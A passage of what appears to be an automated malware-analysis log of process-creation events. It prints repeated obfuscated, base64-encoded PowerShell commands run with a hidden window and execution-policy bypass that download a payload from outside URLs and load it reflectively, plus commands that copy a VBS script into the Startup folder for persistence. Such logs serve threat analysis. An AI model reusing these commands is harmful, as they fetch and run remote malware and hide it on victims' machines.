JysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 